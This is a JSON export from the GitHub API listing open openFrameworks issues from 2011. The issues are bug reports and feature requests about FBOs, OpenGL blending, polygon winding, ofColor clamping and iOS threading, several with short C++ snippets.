0."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/754","id":1708332,"number":754,"title":"nested fbo causing currentFBO lost","user":{"login":"liquidzym","id":51957,"avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"166640c513e589c86d2de49c52258eb4","url":"https://api.github.com/users/liquidzym","html_url":"https://github.com/liquidzym","followers_url":"https://api.github.com/users/liquidzym/followers","following_url":"https://api.github.com/users/liquidzym/following","gists_url":"https://api.github.com/users/liquidzym/gists{/gist_id}","starred_url":"https://api.github.com/users/liquidzym/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/liquidzym/subscriptions","organizations_url":"https://api.github.com/users/liquidzym/orgs","repos_url":"https://api.github.com/users/liquidzym/repos","events_url":"https://api.github.com/users/liquidzym/events{/privacy}","received_events_url":"https://api.github.com/users/liquidzym/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-09-22T08:20:27Z","updated_at":"2011-09-22T08:20:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"void ofFbo::end() {\r\n\tunbind();\r\n\tif(ofGetGLRenderer()){\r\n\t\tofGetGLRenderer()->setCurrentFBO(NULL);\r\n\t}\r\n\tofPopView();\r\n}\r\n\r\nthis will go wrong if nested fbo as following\r\n\r\nfbo1.begin();\r\n...\r\n fbo2.begin();\r\n ...\r\n fbo2.end();\r\n...\r\nfbo1.end();\r\n\r\nso probably the current fbo must not be set NULL\r\n\r\nerror show's in\r\nvoid ofGLRenderer::viewport(float x, float y, float width, float height, bool invertY) {\r\n\tif(width == 0) width = ofGetWindowWidth();\r\n\tif(height == 0) height = ofGetWindowHeight();\r\n\r\n\tif (invertY){\r\n\t\tif(currentFbo){\r\n\t\t\ty = currentFbo->getHeight() - (y + height);\r\n\t\t}else{\r\n\t\t\ty = ofGetWindowHeight() - (y + height);\r\n\t\t}\r\n\t}\r\n\tglViewport(x, y, width, height);\t\r\n}\r\nthe 'y' will computing wrong when current height is wrong\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/753","id":1704855,"number":753,"title":"ofFbo readToPixels() in iOS","user":{"login":"stephen-baker","id":1047836,"avatar_url":"https://secure.gravatar.com/avatar/96e9ae469240e57fc3ebeed6769c7016?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96e9ae469240e57fc3ebeed6769c7016","url":"https://api.github.com/users/stephen-baker","html_url":"https://github.com/stephen-baker","followers_url":"https://api.github.com/users/stephen-baker/followers","following_url":"https://api.github.com/users/stephen-baker/following","gists_url":"https://api.github.com/users/stephen-baker/gists{/gist_id}","starred_url":"https://api.github.com/users/stephen-baker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stephen-baker/subscriptions","organizations_url":"https://api.github.com/users/stephen-baker/orgs","repos_url":"https://api.github.com/users/stephen-baker/repos","events_url":"https://api.github.com/users/stephen-baker/events{/privacy}","received_events_url":"https://api.github.com/users/stephen-baker/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":null,"comments":1,"created_at":"2011-09-21T20:50:33Z","updated_at":"2012-03-10T04:38:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I found an issue with readToPixels() on iOS that works as expected when compiled for OSX. \r\n\r\nInitialize an FBO:\r\n\r\n   ofFbo::Settings settings;\r\n    settings.width = 1024;\r\n    settings.height = 1024;\r\n    settings.internalformat = GL_RGB;\r\n    settings.numSamples = 0;\r\n    settings.useDepth = false;\r\n    settings.useStencil = false;\r\n    screenFBO.allocate(settings);\r\n\r\nthen draw into the FBO and attempt to retrieve the pixels:\r\n\r\n ofPixels pixels; \r\n screenFBO.readToPixels(pixels); \r\n\r\nThis gives me the ofPixels I'm expecting in OSX, in iOS the pixels aren't populated. I can draw the FBO and see it on screen, I just can't get the pixels out of the texture in iOS.\r\n\r\nThis seems to be related to this portion of readToPixels() from ofFbo.cpp:\r\n\r\n bind(); \r\n int format,type; \r\n ofGetGlFormatAndType(settings.internalformat,format,type); \r\n glReadPixels(0,0,settings.width, settings.height, format, GL_UNSIGNED_BYTE, pixels.getPixels()); \r\n unbind(); \r\n\r\nHas anyone experienced this issue – any fixes?\r\n\r\nThanks,\r\nSteve"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/752","id":1691874,"number":752,"title":"ofFbo (problems with certain image dimensions)","user":{"login":"ammalgamma","id":517000,"avatar_url":"https://secure.gravatar.com/avatar/96b69749f518cf6a2964b999bf29ee8e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96b69749f518cf6a2964b999bf29ee8e","url":"https://api.github.com/users/ammalgamma","html_url":"https://github.com/ammalgamma","followers_url":"https://api.github.com/users/ammalgamma/followers","following_url":"https://api.github.com/users/ammalgamma/following","gists_url":"https://api.github.com/users/ammalgamma/gists{/gist_id}","starred_url":"https://api.github.com/users/ammalgamma/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammalgamma/subscriptions","organizations_url":"https://api.github.com/users/ammalgamma/orgs","repos_url":"https://api.github.com/users/ammalgamma/repos","events_url":"https://api.github.com/users/ammalgamma/events{/privacy}","received_events_url":"https://api.github.com/users/ammalgamma/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-09-20T21:16:24Z","updated_at":"2011-09-21T10:37:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm having a problem with creating an image out of ofFbo pixels with some image and fbo sizes\r\n\r\n```c++\r\nvoid testApp::setup(){\r\n\r\n ofSetLogLevel(OF_LOG_VERBOSE);\r\n\tofSetVerticalSync(false);\r\n ofBackground(34, 34, 34);\r\n\tofEnableAlphaBlending();\r\n\r\n ofSetWindowShape(1024, ofGetScreenHeight()-70);\r\n ofSetFrameRate(60);\r\n\r\n frame.loadImage(\"lay.png\");\r\n \r\n imageHeight = 1172;\r\n imageWidth = 1182;\r\n\r\n mergeFbo.allocate(imageWidth, imageHeight, GL_RGB);\r\n\r\n final.setImageType(OF_IMAGE_COLOR);\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n ofEnableAlphaBlending();\r\n\r\n mergeFbo.begin();\r\n\r\n ofClear(0, 0, 0, 1);\r\n\r\n frame.draw(0, 0);\r\n\r\n mergeFbo.end();\r\n\r\n\r\n mergeFbo.draw(200, 100, 100, 200);\r\n \r\n \r\n mergeFbo.readToPixels(pixels);\r\n final.setFromPixels(pixels);\r\n\r\n final.draw(0, 0);\r\n\r\n}\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/748","id":1668066,"number":748,"title":"more generic ofJoin","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2011-09-17T07:26:18Z","updated_at":"2011-09-19T09:04:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"feature request for a more generic ofJoin() function that accepts vectors of all kinds of objects (float, int, ofVec2f, etc) rather than just string. anything that implements operator<<\r\n\r\nhere's an example using stl:\r\n\r\n\t#include \r\n\ttemplate \r\n\tstring ofJoin(vector& elements, string delimiter) {\r\n\t\tstringstream result;\r\n\t\tcopy(elements.begin(), elements.end(), ostream_iterator(result, delimiter.c_str()));\r\n\t\treturn result.str();\r\n\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/745","id":1643672,"number":745,"title":"Polygon winding","user":{"login":"andreasmuller","id":791114,"avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","url":"https://api.github.com/users/andreasmuller","html_url":"https://github.com/andreasmuller","followers_url":"https://api.github.com/users/andreasmuller/followers","following_url":"https://api.github.com/users/andreasmuller/following","gists_url":"https://api.github.com/users/andreasmuller/gists{/gist_id}","starred_url":"https://api.github.com/users/andreasmuller/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/andreasmuller/subscriptions","organizations_url":"https://api.github.com/users/andreasmuller/orgs","repos_url":"https://api.github.com/users/andreasmuller/repos","events_url":"https://api.github.com/users/andreasmuller/events{/privacy}","received_events_url":"https://api.github.com/users/andreasmuller/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-09-14T13:50:48Z","updated_at":"2011-09-21T17:22:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\r\nI'm looking into creating some new primitives for OF [1] and the polygon winding has me a bit confused.\r\n\r\nIf you take for instance \"graphicsExample\" an you add:\r\n\r\n```glEnable( GL_CULL_FACE );```\r\n\r\nSomewhere you will no longer see much drawn to screen.\r\n\r\nGL_CCW is the default FrontFace for OpenGL, but OF seems to be the opposite.\r\nhttp://www.khronos.org/opengles/sdk/docs/man/xhtml/glFrontFace.xml\r\n\r\nWhich is coolio of course, as long as we are consistent.\r\n\r\nOur options are either to throw a ```glFrontFace( GL_CW );``` in there somewhere OR re-write all the drawing to be consistent with OpenGL default, not sure what is the best in the long run.\r\n\r\nWhat say you all?\r\n\r\n/A\r\n\r\n\r\n[1] https://github.com/andreasmuller/openFrameworks/blob/develop-opengles2/libs/openFrameworks/3d/of3dPrimitives.h"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/744","id":1641198,"number":744,"title":"rename testApp to ofApp","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2011-09-14T07:02:36Z","updated_at":"2012-03-17T16:52:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i think it would be wonderful if every OF example was named ofApp instead of testApp. especially because:\r\n\r\n\tclass ofApp : public ofBaseApp {\r\n\r\nis more natural than:\r\n\r\n\tclass testApp : public ofBaseApp {\r\n\r\ngiven the rest of OF naming conventions. and it would increase consistency with things like:\r\n\r\n\tofGetAppPtr();\r\n\tofAppBaseWindow\r\n\tofAppGlutWindow\r\n\r\nthis is a massive refactor that shouldn't be difficult, but should be done at the same time as something like a code formatting cleanup."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/743","id":1639020,"number":743,"title":"seg fault on ofEnableAlphaBlending() -> glBlendEquation()","user":{"login":"jtnimoy","id":183796,"avatar_url":"https://secure.gravatar.com/avatar/153ba4a8df491692b717daad7a6030be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"153ba4a8df491692b717daad7a6030be","url":"https://api.github.com/users/jtnimoy","html_url":"https://github.com/jtnimoy","followers_url":"https://api.github.com/users/jtnimoy/followers","following_url":"https://api.github.com/users/jtnimoy/following","gists_url":"https://api.github.com/users/jtnimoy/gists{/gist_id}","starred_url":"https://api.github.com/users/jtnimoy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jtnimoy/subscriptions","organizations_url":"https://api.github.com/users/jtnimoy/orgs","repos_url":"https://api.github.com/users/jtnimoy/repos","events_url":"https://api.github.com/users/jtnimoy/events{/privacy}","received_events_url":"https://api.github.com/users/jtnimoy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-09-13T22:53:55Z","updated_at":"2011-09-26T11:56:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"calling ofEnableAlphaBlending() crashes my app on a machine with opengl version 1.1.0, because glBlendEquation(), introduced at opengl 1.3, needs to gracefully degrade. Here is the solution:\r\n\r\n
\r\nvoid ofEnableAlphaBlending_slightlySafer(void){\r\n\tconst GLubyte * version = glGetString(GL_VERSION);\r\n\tint major, minor;\r\n\tsscanf((const char*)version, \"%i.%i\",&major, &minor);\r\n\r\n\tif(major > 1 || (major==1 && minor>=3)){\r\n\t\tofEnableAlphaBlending();\r\n\t}\t\r\n}\r\n
"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/730","id":1586262,"number":730,"title":"nicer stroke mitering/joining and end caps","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2011-09-07T03:27:13Z","updated_at":"2013-01-15T16:13:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it would be awesome to have lines drawn nicer when they are 1 thick and 2 make sharp edges. processing has some functions strokeCap() and strokeJoin() for setting this behavior, but it doesn't work with OPENGL mode. we could probably adapt a geometry shader to do some smart mitering for us on the GPU.\r\n\r\nprompted by the discussion here: http://forum.openframeworks.cc/index.php/topic,7278.0/topicseen.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/728","id":1569364,"number":728,"title":"ofColor and clamping","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-09-05T14:41:50Z","updated_at":"2011-09-05T15:39:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofColor_:operator+= currently calls clamp() when it's done doing the +=\r\n\r\ni imagined one of the applications of ofFloatColor would be for averaging or summing ofColor, which normally requires non-saturation semantics for +=. i could also do a / or * every += operation to avoid overflow. this doesn't have to be a bug, but it should at least be documented clearly when we discuss ofColor."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/727","id":1566286,"number":727,"title":"OSX 10.7 Gamma Problem","user":{"login":"Tommato","id":1027082,"avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","url":"https://api.github.com/users/Tommato","html_url":"https://github.com/Tommato","followers_url":"https://api.github.com/users/Tommato/followers","following_url":"https://api.github.com/users/Tommato/following","gists_url":"https://api.github.com/users/Tommato/gists{/gist_id}","starred_url":"https://api.github.com/users/Tommato/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Tommato/subscriptions","organizations_url":"https://api.github.com/users/Tommato/orgs","repos_url":"https://api.github.com/users/Tommato/repos","events_url":"https://api.github.com/users/Tommato/events{/privacy}","received_events_url":"https://api.github.com/users/Tommato/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-09-05T10:17:48Z","updated_at":"2011-09-05T10:17:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hello\r\n\r\nI had a problem with gamma for my Carbon app in OSX 10.6, UI looked \"blotched\" with Pappis' help it was solved, here are details:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,6404.msg30519.html#msg30519\r\n\r\nHowever, the trick with HIWindowSetColorSpace does not work in OSX 10.7 Lion\r\nLooking for solutions again\r\n\r\nThanks\r\nTom\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/721","id":1497330,"number":721,"title":"ofxiPhone - Move openGL to its own thread","user":{"login":"cerupcat","id":204151,"avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","url":"https://api.github.com/users/cerupcat","html_url":"https://github.com/cerupcat","followers_url":"https://api.github.com/users/cerupcat/followers","following_url":"https://api.github.com/users/cerupcat/following","gists_url":"https://api.github.com/users/cerupcat/gists{/gist_id}","starred_url":"https://api.github.com/users/cerupcat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerupcat/subscriptions","organizations_url":"https://api.github.com/users/cerupcat/orgs","repos_url":"https://api.github.com/users/cerupcat/repos","events_url":"https://api.github.com/users/cerupcat/events{/privacy}","received_events_url":"https://api.github.com/users/cerupcat/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-08-26T18:43:09Z","updated_at":"2011-08-26T18:44:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Related forum post: http://forum.openframeworks.cc/index.php/topic,7053.0.html\r\n\r\nFrom what I understand, it's best to leave the mainThread for UIKit elements and move openGL and other things to another thread. Currently, if there's a lot of drawing then the UIKit elements are delayed and can even pause the update/draw methods entirely. Moving the drawing to it's own thread should help with this.\r\n\r\nI'm still testing, but this looks like it could be a good candidate for core integration. It has examples of threaded, single (what we currently use), and GCD (which I think is iOS 4.0 only) openGL implementation: https://github.com/Volcore/LimbicGL In my early tests, it does fix any pausing of the update/draw with the threaded example (haven't tried the others). I could use some help though trying to integrate this into OF properly.\r\n\r\nThe main example classes are here: https://github.com/Volcore/LimbicGL/tree/master/limbicgl/drivers\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/719","id":1459353,"number":719,"title":"optimize ofEndShape() to deal with simple shapes","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-08-22T16:56:27Z","updated_at":"2011-08-22T17:38:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\r\nbased on this comment, \r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,5319.msg33381.html#msg33381\r\n\r\nI wonder if we can be smarter in endShape() / ofPath::tessellate() and look for simple usage (3 or 4 points, etc) before tessellating, or if the slow down is just based on the use of the ofPath object. 